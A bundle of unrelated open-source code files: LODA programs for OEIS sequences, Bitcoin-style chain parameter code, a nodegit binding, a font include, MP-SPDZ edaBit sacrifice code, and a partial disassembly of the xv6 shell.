; 0,0,0,0,19,32,48,67,89,114,142,173,207,244,284,327,373,422,474,529,587,648,712,779,849,922,998,1077,1159,1244,1332,1423,1517,1614,1714,1817,1923,2032,2144,2259,2377,2498,2622,2749,2879,3012,3148,3287,3429,3574,3722,3873,4027,4184,4344,4507,4673,4842,5014,5189,5367,5548,5732,5919,6109,6302,6498,6697,6899,7104,7312,7523,7737,7954,8174,8397,8623,8852,9084,9319,9557,9798,10042,10289,10539,10792,11048,11307,11569,11834,12102,12373,12647,12924,13204,13487,13773,14062,14354,14649
mov $1,$0
trn $0,3
mov $3,$1
lpb $1,$0
sub $0,1
add $0,$3
sub $1,1
add $3,1
lpe
|
// Copyright (c) 2010 Satoshi Nakamoto
// Copyright (c) 2009-2015 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "chainparamsbase.h"
#include "tinyformat.h"
#include "util.h"
#include <assert.h>
const std::string CBaseChainParams::MAIN = "main";
const std::string CBaseChainParams::TESTNET = "test";
const std::string CBaseChainParams::DEVNET = "dev";
const std::string CBaseChainParams::REGTEST = "regtest";
void AppendParamsHelpMessages(std::string& strUsage, bool debugHelp)
{
strUsage += HelpMessageGroup(_("Chain selection options:"));
strUsage += HelpMessageOpt("-testnet", _("Use the test chain"));
strUsage += HelpMessageOpt("-devnet=<name>", _("Use devnet chain with provided name"));
if (debugHelp) {
strUsage += HelpMessageOpt("-regtest", "Enter regression test mode, which uses a special chain in which blocks can be solved instantly. "
"This is intended for regression testing tools and app development.");
}
}
/**
* Main network
*/
class CBaseMainParams : public CBaseChainParams
{
public:
CBaseMainParams()
{
nRPCPort = 1998;
}
};
static CBaseMainParams mainParams;
/**
* Testnet (v3)
*/
class CBaseTestNetParams : public CBaseChainParams
{
public:
CBaseTestNetParams()
{
nRPCPort = 1998;
strDataDir = "testnet3";
}
};
static CBaseTestNetParams testNetParams;
/**
* Devnet
*/
class CBaseDevNetParams : public CBaseChainParams
{
public:
CBaseDevNetParams(const std::string &dataDir)
{
nRPCPort = 1998;
strDataDir = dataDir;
}
};
static CBaseDevNetParams *devNetParams;
/*
* Regression test
*/
class CBaseRegTestParams : public CBaseChainParams
{
public:
CBaseRegTestParams()
{
nRPCPort = 18332;
strDataDir = "regtest";
}
};
static CBaseRegTestParams regTestParams;
static CBaseChainParams* pCurrentBaseParams = 0;
const CBaseChainParams& BaseParams()
{
assert(pCurrentBaseParams);
return *pCurrentBaseParams;
}
CBaseChainParams& BaseParams(const std::string& chain)
{
if (chain == CBaseChainParams::MAIN)
return mainParams;
else if (chain == CBaseChainParams::TESTNET)
return testNetParams;
else if (chain == CBaseChainParams::DEVNET) {
assert(devNetParams);
return *devNetParams;
} else if (chain == CBaseChainParams::REGTEST)
return regTestParams;
else
throw std::runtime_error(strprintf("%s: Unknown chain %s.", __func__, chain));
}
void SelectBaseParams(const std::string& chain)
{
if (chain == CBaseChainParams::DEVNET) {
std::string devNetName = GetDevNetName();
assert(!devNetName.empty());
devNetParams = (CBaseDevNetParams*)new uint8_t[sizeof(CBaseDevNetParams)];
memset(devNetParams, 0, sizeof(CBaseDevNetParams));
new (devNetParams) CBaseDevNetParams(devNetName);
}
pCurrentBaseParams = &BaseParams(chain);
}
std::string ChainNameFromCommandLine()
{
bool fRegTest = GetBoolArg("-regtest", false);
bool fDevNet = IsArgSet("-devnet");
bool fTestNet = GetBoolArg("-testnet", false);
int nameParamsCount = (fRegTest ? 1 : 0) + (fDevNet ? 1 : 0) + (fTestNet ? 1 : 0);
if (nameParamsCount > 1)
throw std::runtime_error("Only one of -regtest, -testnet or -devnet can be used.");
if (fDevNet)
return CBaseChainParams::DEVNET;
if (fRegTest)
return CBaseChainParams::REGTEST;
if (fTestNet)
return CBaseChainParams::TESTNET;
return CBaseChainParams::MAIN;
}
std::string GetDevNetName()
{
// This function should never be called for non-devnets
assert(IsArgSet("-devnet"));
std::string devNetName = GetArg("-devnet", "");
return "devnet" + (devNetName.empty() ? "" : "-" + devNetName);
}
bool AreBaseParamsConfigured()
{
return pCurrentBaseParams != NULL;
}
|
// This is a generated file, modify: generate/templates/struct_content.cc.
#include <nan.h>
#include <string.h>
#include <chrono>
#include <thread>
extern "C" {
#include <git2.h>
}
#include <iostream>
#include "../include/functions/copy.h"
#include "../include/revert_options.h"
#include "../include/merge_options.h"
#include "../include/checkout_options.h"
using namespace v8;
using namespace node;
using namespace std;
// generated from struct_content.cc
GitRevertOptions::GitRevertOptions() {
git_revert_options wrappedValue = GIT_REVERT_OPTIONS_INIT;
this->raw = (git_revert_options*) malloc(sizeof(git_revert_options));
memcpy(this->raw, &wrappedValue, sizeof(git_revert_options));
this->ConstructFields();
this->selfFreeing = true;
}
GitRevertOptions::GitRevertOptions(git_revert_options* raw, bool selfFreeing) {
this->raw = raw;
this->ConstructFields();
this->selfFreeing = selfFreeing;
}
GitRevertOptions::~GitRevertOptions() {
if (this->selfFreeing) {
free(this->raw);
}
}
void GitRevertOptions::ConstructFields() {
Local<Object> merge_optsTemp = GitMergeOptions::New(
&this->raw->merge_opts,
false
)->ToObject();
this->merge_opts.Reset(merge_optsTemp);
Local<Object> checkout_optsTemp = GitCheckoutOptions::New(
&this->raw->checkout_opts,
false
)->ToObject();
this->checkout_opts.Reset(checkout_optsTemp);
}
void GitRevertOptions::InitializeComponent(Local<v8::Object> target) {
Nan::HandleScope scope;
Local<FunctionTemplate> tpl = Nan::New<FunctionTemplate>(JSNewFunction);
tpl->InstanceTemplate()->SetInternalFieldCount(1);
tpl->SetClassName(Nan::New("RevertOptions").ToLocalChecked());
Nan::SetAccessor(tpl->InstanceTemplate(), Nan::New("version").ToLocalChecked(), GetVersion, SetVersion);
Nan::SetAccessor(tpl->InstanceTemplate(), Nan::New("mainline").ToLocalChecked(), GetMainline, SetMainline);
Nan::SetAccessor(tpl->InstanceTemplate(), Nan::New("mergeOpts").ToLocalChecked(), GetMergeOpts, SetMergeOpts);
Nan::SetAccessor(tpl->InstanceTemplate(), Nan::New("checkoutOpts").ToLocalChecked(), GetCheckoutOpts, SetCheckoutOpts);
Local<Function> _constructor_template = Nan::GetFunction(tpl).ToLocalChecked();
constructor_template.Reset(_constructor_template);
Nan::Set(target, Nan::New("RevertOptions").ToLocalChecked(), _constructor_template);
}
NAN_METHOD(GitRevertOptions::JSNewFunction) {
GitRevertOptions* instance;
if (info.Length() == 0 || !info[0]->IsExternal()) {
instance = new GitRevertOptions();
}
else {
instance = new GitRevertOptions(static_cast<git_revert_options*>(Local<External>::Cast(info[0])->Value()), Nan::To<bool>(info[1]).FromJust());
}
instance->Wrap(info.This());
info.GetReturnValue().Set(info.This());
}
Local<v8::Value> GitRevertOptions::New(void* raw, bool selfFreeing) {
Nan::EscapableHandleScope scope;
Local<v8::Value> argv[2] = { Nan::New<External>((void *)raw), Nan::New<Boolean>(selfFreeing) };
return scope.Escape(Nan::NewInstance(Nan::New(GitRevertOptions::constructor_template), 2, argv).ToLocalChecked());
}
git_revert_options *GitRevertOptions::GetValue() {
return this->raw;
}
git_revert_options **GitRevertOptions::GetRefValue() {
return this->raw == NULL ? NULL : &this->raw;
}
void GitRevertOptions::ClearValue() {
this->raw = NULL;
}
NAN_GETTER(GitRevertOptions::GetVersion) {
GitRevertOptions *wrapper = Nan::ObjectWrap::Unwrap<GitRevertOptions>(info.This());
info.GetReturnValue().Set(Nan::New<Number>(wrapper->GetValue()->version));
}
NAN_SETTER(GitRevertOptions::SetVersion) {
GitRevertOptions *wrapper = Nan::ObjectWrap::Unwrap<GitRevertOptions>(info.This());
if (value->IsNumber()) {
wrapper->GetValue()->version = (unsigned int) Nan::To<int32_t>(value).FromJust();
}
}
NAN_GETTER(GitRevertOptions::GetMainline) {
GitRevertOptions *wrapper = Nan::ObjectWrap::Unwrap<GitRevertOptions>(info.This());
info.GetReturnValue().Set(Nan::New<Number>(wrapper->GetValue()->mainline));
}
NAN_SETTER(GitRevertOptions::SetMainline) {
GitRevertOptions *wrapper = Nan::ObjectWrap::Unwrap<GitRevertOptions>(info.This());
if (value->IsNumber()) {
wrapper->GetValue()->mainline = (unsigned int) Nan::To<int32_t>(value).FromJust();
}
}
NAN_GETTER(GitRevertOptions::GetMergeOpts) {
GitRevertOptions *wrapper = Nan::ObjectWrap::Unwrap<GitRevertOptions>(info.This());
info.GetReturnValue().Set(Nan::New(wrapper->merge_opts));
}
NAN_SETTER(GitRevertOptions::SetMergeOpts) {
GitRevertOptions *wrapper = Nan::ObjectWrap::Unwrap<GitRevertOptions>(info.This());
Local<Object> merge_opts(value->ToObject());
wrapper->merge_opts.Reset(merge_opts);
wrapper->raw->merge_opts = * Nan::ObjectWrap::Unwrap<GitMergeOptions>(merge_opts->ToObject())->GetValue() ;
}
NAN_GETTER(GitRevertOptions::GetCheckoutOpts) {
GitRevertOptions *wrapper = Nan::ObjectWrap::Unwrap<GitRevertOptions>(info.This());
info.GetReturnValue().Set(Nan::New(wrapper->checkout_opts));
}
NAN_SETTER(GitRevertOptions::SetCheckoutOpts) {
GitRevertOptions *wrapper = Nan::ObjectWrap::Unwrap<GitRevertOptions>(info.This());
Local<Object> checkout_opts(value->ToObject());
wrapper->checkout_opts.Reset(checkout_opts);
wrapper->raw->checkout_opts = * Nan::ObjectWrap::Unwrap<GitCheckoutOptions>(checkout_opts->ToObject())->GetValue() ;
}
Nan::Persistent<Function> GitRevertOptions::constructor_template;
|
; A183160: a(n) = Sum_{k=0..n} C(n+k,n-k)*C(2*n-k,k).
; Submitted by Christian Krause
; 1,2,11,62,367,2232,13820,86662,548591,3498146,22436251,144583496,935394436,6071718512,39523955552,257913792342,1686627623151,11050540084902,72522925038257,476669316338542,3137209052543927,20672732229560032,136374124374593072,900541325129687272,5952180654988630532,39374677277010428632,260674038108934876580,1727002811135662997552,11449332411992665374040,75951938320990777203200,504139701599959742142040,3348110790063043288241654,22246962238355086931603695,147893827858832650794458222
mov $3,$0
mov $5,$0
add $5,1
lpb $5
mov $0,$3
sub $5,1
sub $0,$5
add $2,$3
add $0,$2
bin $0,$2
mov $2,$3
mul $4,-1
add $4,$0
lpe
mov $0,$4
|
; Highspeed80
; by CKtwo, https://www.forum64.de/index.php?thread/42485
;
; From: https://github.com/mist64/80columns
SECTION rodata_font
SECTION rodata_font_4x8
PUBLIC _font_4x8_highspeed80
PUBLIC _font_4x8_highspeed80_end
_font_4x8_highspeed80:
BINARY "font_4x8_highspeed80.bin"
_font_4x8_highspeed80_end:
|
; A155589: 6^n+2^n-1.
; 1,7,39,223,1311,7807,46719,280063,1679871,10078207,60467199,362799103,2176786431,13060702207,78364180479,470185017343,2821109972991,16926659575807,101559956930559,609359740534783,3656158441111551
mov $1,3
pow $1,$0
mov $2,$0
lpb $2
mul $1,2
add $1,1
sub $2,1
lpe
|
; A084377: a(n) = n^3 + 7.
; 7,8,15,34,71,132,223,350,519,736,1007,1338,1735,2204,2751,3382,4103,4920,5839,6866,8007,9268,10655,12174,13831,15632,17583,19690,21959,24396,27007,29798,32775,35944,39311,42882,46663,50660,54879,59326,64007,68928,74095,79514,85191,91132,97343,103830,110599,117656,125007,132658,140615,148884,157471,166382,175623,185200,195119,205386,216007,226988,238335,250054,262151,274632,287503,300770,314439,328516,343007,357918,373255,389024,405231,421882,438983,456540,474559,493046,512007,531448,551375,571794,592711,614132,636063,658510,681479,704976,729007,753578,778695,804364,830591,857382,884743,912680,941199,970306
pow $0,3
add $0,7
|
/*
* ShuffleSacrifice.hpp
*
*/
#ifndef PROTOCOLS_SHUFFLESACRIFICE_HPP_
#define PROTOCOLS_SHUFFLESACRIFICE_HPP_
#include "ShuffleSacrifice.h"
#include "Tools/PointerVector.h"
#include "GC/BitAdder.h"
#include "MalRepRingPrep.hpp"
#include "LimitedPrep.hpp"
inline
ShuffleSacrifice::ShuffleSacrifice() :
B(OnlineOptions::singleton.bucket_size), C(this->B)
{
}
template<class T>
void TripleShuffleSacrifice<T>::triple_combine(vector<array<T, 3> >& triples,
vector<array<T, 3> >& to_combine, Player& P,
typename T::MAC_Check& MC)
{
int buffer_size = to_combine.size();
int N = buffer_size / B;
assert(minimum_n_outputs() <= N);
shuffle(to_combine, P);
vector<typename T::open_type> opened;
vector<T> masked;
masked.reserve(N);
for (int i = 0; i < N; i++)
{
T& b = to_combine[i][1];
for (int j = 1; j < B; j++)
{
T& g = to_combine[i + N * j][1];
masked.push_back(b - g);
}
}
MC.POpen(opened, masked, P);
auto it = opened.begin();
for (int i = 0; i < N; i++)
{
T& a = to_combine[i][0];
T& c = to_combine[i][2];
for (int j = 1; j < B; j++)
{
T& f = to_combine[i + N * j][0];
T& h = to_combine[i + N * j][2];
auto& rho = *(it++);
a += f;
c += h + f * rho;
}
}
to_combine.resize(N);
triples = to_combine;
}
template<class T>
void EdabitShuffleSacrifice<T>::edabit_sacrifice(vector<edabit<T> >& output,
vector<T>& wholes, vector<vector<typename T::bit_type::part_type>>& parts,
size_t n_bits, SubProcessor<T>& proc, bool strict, int player,
ThreadQueues* queues)
{
#ifdef VERBOSE_EDA
cerr << "Sacrificing edaBits of length " << n_bits << endl;
Timer timer;
timer.start();
#endif
auto& P = proc.P;
auto& MC = proc.MC;
typedef typename T::bit_type::part_type BT;
typedef typename BT::small_type ST;
vector<edabit<T>> to_check;
size_t dl = T::bit_type::part_type::default_length;
assert(wholes.size() >= size_t(minimum_n_inputs(minimum_n_outputs())));
assert(parts.size() >= n_bits);
for (auto& x: parts)
assert(x.size() >= size_t(DIV_CEIL(wholes.size(), dl)));
RunningTimer init_timer;
to_check.reserve(wholes.size());
size_t n_bits_input = parts.size();
assert(n_bits_input <= edabit<T>::second_type::MAX_SIZE);
for (int i1 = 0; i1 < DIV_CEIL(wholes.size(), dl); i1++)
{
int n = min(dl, wholes.size() - i1 * dl);
for (int i2 = 0; i2 < n; i2++)
to_check.push_back({wholes[i1 * dl + i2], {}});
for (size_t k = 0; k < n_bits_input; k++)
{
auto& bits = parts[k][i1];
for (int i2 = 0; i2 < n; i2++)
to_check[i1 * dl + i2].second.push_back_no_check(
ST(bits >> i2).get_bit(0));
}
}
wholes.clear();
wholes.shrink_to_fit();
parts.clear();
parts.shrink_to_fit();
#ifdef VERBOSE_EDA
cerr << "Initialization took " << init_timer.elapsed() << " seconds" << endl;
#endif
int buffer_size = to_check.size();
int N = (buffer_size - C) / B;
// needs to happen before shuffling for security
LimitedPrep<BT> personal_prep;
RunningTimer personal_timer;
if (player >= 0)
{
auto &party = GC::ShareThread<typename T::bit_type>::s();
SubProcessor<BT> bit_proc(party.MC->get_part_MC(),
*proc.personal_bit_preps.at(player), P);
int n_triples = DIV_CEIL((B - 1) * N * n_bits, dl);
proc.personal_bit_preps.at(player)->buffer_personal_triples(n_triples,
queues);
for (int i = 0; i < n_triples; i++)
personal_prep.push_triple(
proc.personal_bit_preps.at(player)->get_triple(dl));
proc.personal_bit_preps.at(player)->shrink_to_fit();
}
#ifdef VERBOSE_EDA
cerr << "Personal preprocessing took " << personal_timer.elapsed() << " seconds" << endl;
#endif
RunningTimer shuffle_timer;
shuffle(to_check, P);
#ifdef VERBOSE_EDA
cerr << "Shuffling took " << shuffle_timer.elapsed() << " seconds" << endl;
#endif
// opening C
vector<T> shares;
vector<typename BT::small_type> bit_shares;
for (int i = 0; i < C; i++)
{
assert(to_check.back().second.size() * i == bit_shares.size());
shares.push_back(to_check.back().first);
bit_shares.insert(bit_shares.end(), to_check.back().second.begin(),
to_check.back().second.end());
to_check.pop_back();
}
vector<typename T::open_type> opened;
MC.POpen(opened, shares, P);
vector<typename BT::small_type::open_type> bits;
auto& MCB = *BT::small_type::new_mc(
GC::ShareThread<typename T::bit_type>::s().MC->get_alphai());
MCB.POpen(bits, bit_shares, P);
size_t n_bits_to_open = bits.size() / C;
for (int i = 0; i < C; i++)
{
typename T::clear sum, single = opened[i];
for (size_t j = 0; j < n_bits_to_open; j++)
sum += typename T::clear(bits.at(i * n_bits_to_open + j).get())
<< j;
if (single != sum)
{
cout << single << " != " << sum << endl;
cout << "bits: ";
for (size_t j = 0; j < n_bits_to_open; j++)
cout << bits.at(i * n_bits_to_open + j);
cout << endl;
throw Offline_Check_Error("edabit shuffle opening");
}
}
RunningTimer bucket_timer;
if (queues)
{
int n_available = queues->find_available();
int n_per_thread = queues->get_n_per_thread(N, dl);
vector<vector<array<BT, 3>>> triples(n_available);
vector<void*> supplies(n_available);
for (int i = 0; i < n_available; i++)
{
supplies[i] = &triples[i];
for (size_t j = 0;
j < n_per_thread * (B - 1) * n_bits_to_open / dl; j++)
if (player < 0)
triples[i].push_back(proc.bit_prep.get_triple(dl));
else
triples[i].push_back(personal_prep.get_triple(dl));
}
EdabitSacrificeJob job(&to_check, n_bits, strict, player);
int start = queues->distribute_no_setup(job, N, 0, BT::default_length,
&supplies);
edabit_sacrifice_buckets(to_check, n_bits, strict, player, proc, start,
N, personal_prep);
queues->wrap_up(job);
}
else
edabit_sacrifice_buckets(to_check, n_bits, strict, player, proc, 0, N,
personal_prep);
#ifdef VERBOSE_EDA
cerr << "Bucket sacrifice took " << bucket_timer.elapsed() << " seconds"
<< endl;
#endif
RunningTimer output_timer;
to_check.resize(N);
output.reserve(output.size() + N);
for (auto& x: to_check)
{
output.push_back({x.first, {}});
output.back().second.reserve(x.second.size());
for (auto& y : x.second)
output.back().second.push_back(y);
}
#ifdef VERBOSE_EDA
cerr << "Output took " << output_timer.elapsed() << " seconds" << endl;
#endif
MCB.Check(P);
delete &MCB;
#ifdef VERBOSE_EDA
cerr << "Done sacrificing edaBits of length " << n_bits << " after "
<< timer.elapsed() << " seconds" << endl;
#endif
}
template<class T>
void EdabitShuffleSacrifice<T>::edabit_sacrifice_buckets(vector<edabit<T>>& to_check,
size_t n_bits, bool strict, int player, SubProcessor<T>& proc, int begin,
int end, const void* supply)
{
LimitedPrep<BT> personal_prep;
edabit_sacrifice_buckets(to_check, n_bits, strict, player, proc, begin, end,
personal_prep, supply);
}
template<class T>
void EdabitShuffleSacrifice<T>::edabit_sacrifice_buckets(vector<edabit<T>>& to_check,
size_t n_bits, bool strict, int player, SubProcessor<T>& proc, int begin,
int end, LimitedPrep<BT>& personal_prep, const void* supply)
{
typedef typename T::bit_type::part_type BT;
typedef typename BT::small_type ST;
int N = end - begin;
size_t total_N = to_check.size() / B;
assert(to_check.size() == B * total_N);
size_t n_bits_to_open = to_check[begin].second.size();
ThreadQueues* queues = 0;
auto& P = proc.P;
auto& MC = proc.MC;
// sacrifice buckets
RunningTimer add_prep_timer;
vector<vector<vector<BT>>> summands(n_bits_to_open,
vector<vector<BT>>(2, vector<BT>((B - 1) * N / BT::default_length)));
assert((B - 1) * N % BT::default_length == 0);
for (int i = 0; i < N; i++)
{
auto& b = to_check[begin + i].second;
assert(b.size() == n_bits_to_open);
for (int j = 1; j < B; j++)
{
auto& g = to_check[begin + i + total_N * j].second;
assert(g.size() == n_bits_to_open);
int l = i * (B - 1) + j - 1;
int l1 = l / BT::default_length;
int l2 = l % BT::default_length;
for (size_t k = 0; k < n_bits_to_open; k++)
{
summands[k][0].at(l1) ^= BT(b[k]) << (l2);
summands[k][1].at(l1) ^= BT(g[k]) << (l2);
}
}
}
#ifdef VERBOSE_EDA
cerr << "Bit adder preparing took " << add_prep_timer.elapsed() <<
" seconds" << endl;
#endif
RunningTimer add_timer;
vector<vector<BT>> sums;
auto& party = GC::ShareThread<typename T::bit_type>::s();
if (supply)
{
auto& triples = *(vector<array<BT, 3>>*)supply;
#ifdef VERBOSE_EDA
fprintf(stderr, "got %zu supplies\n", triples.size());
#endif
if (player < 0)
proc.bit_prep.push_triples(triples);
else
personal_prep.push_triples(triples);
}
if (player < 0)
{
SubProcessor<BT> bit_proc(party.MC->get_part_MC(),
proc.bit_prep, P);
BitAdder().add(sums, summands, bit_proc, BT::default_length, queues);
}
else
{
SubProcessor<BT> bit_proc(party.MC->get_part_MC(),
personal_prep, P);
BitAdder().add(sums, summands, bit_proc, BT::default_length, queues,
player);
}
summands.clear();
#ifdef VERBOSE_EDA
cerr << "Binary adders took " << add_timer.elapsed() << " seconds" << endl;
#endif
vector<T> shares;
vector<typename BT::small_type> bit_shares;
RunningTimer sacri_prep_timer;
// cannot delete overflow in GF(p)
strict |= T::open_type::N_BITS < 0;
int n_shift = (T::open_type::N_BITS - n_bits);
vector<edabit<T>> to_sanitize;
if (strict)
to_sanitize.reserve(N * (B - 1));
else
{
shares.reserve((B - 1) * N);
bit_shares.reserve((B - 1) * N * (n_bits + 2));
}
for (int i = 0; i < N; i++)
{
auto& a = to_check[begin + i].first;
for (int j = 1; j < B; j++)
{
auto& f = to_check[begin + i + total_N * j].first;
int l = i * (B - 1) + j - 1;
int l1 = l / BT::default_length;
int l2 = l % BT::default_length;
typename edabit<T>::second_type* bits = 0;
if (strict)
{
to_sanitize.push_back({a + f, {}});
bits = &to_sanitize.back().second;
bits->reserve(sums.at(l1).size());
}
else
{
shares.push_back((a + f) << n_shift);
}
for (size_t k = 0; k < (strict ? sums.at(l1).size() : n_bits); k++)
{
auto x = ST(sums.at(l1).at(k) >> l2).get_bit(0);
if (strict)
bits->push_back(x);
else
bit_shares.push_back(x);
}
}
}
if (strict)
{
(dynamic_cast<RingPrep<T>*>(&proc.DataF))->template
sanitize<0>(to_sanitize,
n_bits, player, queues);
shares.reserve((B - 1) * N);
bit_shares.reserve((B - 1) * N * (n_bits + 2));
for (auto& x : to_sanitize)
{
shares.push_back(x.first);
for (size_t k = 0; k < n_bits; k++)
bit_shares.push_back(x.second[k]);
}
to_sanitize.clear();
to_sanitize.shrink_to_fit();
}
#ifdef VERBOSE_EDA
cerr << "Preparing sacrifice took " << sacri_prep_timer.elapsed() <<
" seconds" << endl;
Timer open_timer;
open_timer.start();
#endif
vector<typename T::open_type> opened;
vector<typename BT::small_type::open_type> bits;
auto& MCB = *BT::small_type::new_mc(
GC::ShareThread<typename T::bit_type>::s().MC->get_alphai());
MC.POpen(opened, shares, P);
MCB.POpen(bits, bit_shares, P);
#ifdef VERBOSE_EDA
cerr << "Bucket opening took " << open_timer.elapsed() << " seconds" << endl;
#endif
RunningTimer check_timer;
for (int i = 0; i < (B - 1) * N; i++)
{
typename T::clear sum, single = opened[i];
for (size_t k = 0; k < n_bits; k++)
sum += T::clear::power_of_two(bits.at(i * (n_bits) + k).get_bit(0), k);
if (not strict)
sum <<= n_shift;
if (single != sum)
{
cout << hex << single << " vs " << (sum << n_shift) << "/" << sum
<< endl;
throw Offline_Check_Error("edabit shuffle bucket opening");
}
}
#ifdef VERBOSE_EDA
cerr << "Checking took " << check_timer.elapsed() << " seconds" << endl;
#endif
MCB.Check(P);
delete &MCB;
}
#endif /* PROTOCOLS_SHUFFLESACRIFICE_HPP_ */
|
_sh: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
return 0;
}
int
main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 04 sub $0x4,%esp
static char buf[100];
int fd;
// Ensure that three file descriptors are open.
while((fd = open("console", O_RDWR)) >= 0){
11: eb 0a jmp 1d <main+0x1d>
13: 90 nop
14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(fd >= 3){
18: 83 f8 02 cmp $0x2,%eax
1b: 7f 76 jg 93 <main+0x93>
while((fd = open("console", O_RDWR)) >= 0){
1d: 83 ec 08 sub $0x8,%esp
20: 6a 02 push $0x2
22: 68 69 12 00 00 push $0x1269
27: e8 26 0d 00 00 call d52 <open>
2c: 83 c4 10 add $0x10,%esp
2f: 85 c0 test %eax,%eax
31: 79 e5 jns 18 <main+0x18>
33: eb 1f jmp 54 <main+0x54>
35: 8d 76 00 lea 0x0(%esi),%esi
}
}
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
38: 80 3d a2 18 00 00 20 cmpb $0x20,0x18a2
3f: 74 7a je bb <main+0xbb>
int
fork1(void)
{
int pid;
pid = fork();
41: e8 c4 0c 00 00 call d0a <fork>
if(pid == -1)
46: 83 f8 ff cmp $0xffffffff,%eax
49: 74 3b je 86 <main+0x86>
if(fork1() == 0)
4b: 85 c0 test %eax,%eax
4d: 74 57 je a6 <main+0xa6>
wait();
4f: e8 c6 0c 00 00 call d1a <wait>
while(getcmd(buf, sizeof(buf)) >= 0){
54: 83 ec 08 sub $0x8,%esp
57: 6a 64 push $0x64
59: 68 a0 18 00 00 push $0x18a0
5e: e8 9d 00 00 00 call 100 <getcmd>
63: 83 c4 10 add $0x10,%esp
66: 85 c0 test %eax,%eax
68: 78 37 js a1 <main+0xa1>
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
6a: 80 3d a0 18 00 00 63 cmpb $0x63,0x18a0
71: 75 ce jne 41 <main+0x41>
73: 80 3d a1 18 00 00 64 cmpb $0x64,0x18a1
7a: 74 bc je 38 <main+0x38>
pid = fork();
7c: e8 89 0c 00 00 call d0a <fork>
if(pid == -1)
81: 83 f8 ff cmp $0xffffffff,%eax
84: 75 c5 jne 4b <main+0x4b>
panic("fork");
86: 83 ec 0c sub $0xc,%esp
89: 68 f2 11 00 00 push $0x11f2
8e: e8 bd 00 00 00 call 150 <panic>
close(fd);
93: 83 ec 0c sub $0xc,%esp
96: 50 push %eax
97: e8 9e 0c 00 00 call d3a <close>
break;
9c: 83 c4 10 add $0x10,%esp
9f: eb b3 jmp 54 <main+0x54>
exit();
a1: e8 6c 0c 00 00 call d12 <exit>
runcmd(parsecmd(buf));
a6: 83 ec 0c sub $0xc,%esp
a9: 68 a0 18 00 00 push $0x18a0
ae: e8 9d 09 00 00 call a50 <parsecmd>
b3: 89 04 24 mov %eax,(%esp)
b6: e8 b5 00 00 00 call 170 <runcmd>
buf[strlen(buf)-1] = 0; // chop \n
bb: 83 ec 0c sub $0xc,%esp
be: 68 a0 18 00 00 push $0x18a0
c3: e8 78 0a 00 00 call b40 <strlen>
if(chdir(buf+3) < 0)
c8: c7 04 24 a3 18 00 00 movl $0x18a3,(%esp)
buf[strlen(buf)-1] = 0; // chop \n
cf: c6 80 9f 18 00 00 00 movb $0x0,0x189f(%eax)
if(chdir(buf+3) < 0)
d6: e8 a7 0c 00 00 call d82 <chdir>
db: 83 c4 10 add $0x10,%esp
de: 85 c0 test %eax,%eax
e0: 0f 89 6e ff ff ff jns 54 <main+0x54>
printf(2, "cannot cd %s\n", buf+3);
e6: 50 push %eax
e7: 68 a3 18 00 00 push $0x18a3
ec: 68 71 12 00 00 push $0x1271
f1: 6a 02 push $0x2
f3: e8 78 0d 00 00 call e70 <printf>
f8: 83 c4 10 add $0x10,%esp
fb: e9 54 ff ff ff jmp 54 <main+0x54>
00000100 <getcmd>:
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 56 push %esi
104: 53 push %ebx
105: 8b 75 0c mov 0xc(%ebp),%esi
108: 8b 5d 08 mov 0x8(%ebp),%ebx
printf(2, "$ ");
10b: 83 ec 08 sub $0x8,%esp
10e: 68 c8 11 00 00 push $0x11c8
113: 6a 02 push $0x2
115: e8 56 0d 00 00 call e70 <printf>
memset(buf, 0, nbuf);
11a: 83 c4 0c add $0xc,%esp
11d: 56 push %esi
11e: 6a 00 push $0x0
120: 53 push %ebx
121: e8 4a 0a 00 00 call b70 <memset>
gets(buf, nbuf);
126: 58 pop %eax
127: 5a pop %edx
128: 56 push %esi
129: 53 push %ebx
12a: e8 a1 0a 00 00 call bd0 <gets>
if(buf[0] == 0) // EOF
12f: 83 c4 10 add $0x10,%esp
132: 31 c0 xor %eax,%eax
134: 80 3b 00 cmpb $0x0,(%ebx)
137: 0f 94 c0 sete %al
}
13a: 8d 65 f8 lea -0x8(%ebp),%esp
if(buf[0] == 0) // EOF
13d: f7 d8 neg %eax
}
13f: 5b pop %ebx
140: 5e pop %esi
141: 5d pop %ebp
142: c3 ret
143: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000150 <panic>:
{
150: 55 push %ebp
151: 89 e5 mov %esp,%ebp
153: 83 ec 0c sub $0xc,%esp
printf(2, "%s\n", s);
156: ff 75 08 pushl 0x8(%ebp)
159: 68 65 12 00 00 push $0x1265
15e: 6a 02 push $0x2
160: e8 0b 0d 00 00 call e70 <printf>
exit();
165: e8 a8 0b 00 00 call d12 <exit>
16a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000170 <runcmd>:
{
170: 55 push %ebp
171: 89 e5 mov %esp,%ebp
173: 53 push %ebx
174: 83 ec 14 sub $0x14,%esp
177: 8b 5d 08 mov 0x8(%ebp),%ebx
if(cmd == 0)
17a: 85 db test %ebx,%ebx
17c: 74 3a je 1b8 <runcmd+0x48>
switch(cmd->type){
17e: 83 3b 05 cmpl $0x5,(%ebx)
181: 0f 87 06 01 00 00 ja 28d <runcmd+0x11d>
187: 8b 03 mov (%ebx),%eax
189: ff 24 85 80 12 00 00 jmp *0x1280(,%eax,4)
if(ecmd->argv[0] == 0)
190: 8b 43 04 mov 0x4(%ebx),%eax
193: 85 c0 test %eax,%eax
195: 74 21 je 1b8 <runcmd+0x48>
exec(ecmd->argv[0], ecmd->argv);
197: 52 push %edx
198: 52 push %edx
199: 8d 53 04 lea 0x4(%ebx),%edx
19c: 52 push %edx
19d: 50 push %eax
19e: e8 a7 0b 00 00 call d4a <exec>
printf(2, "exec %s failed\n", ecmd->argv[0]);
1a3: 83 c4 0c add $0xc,%esp
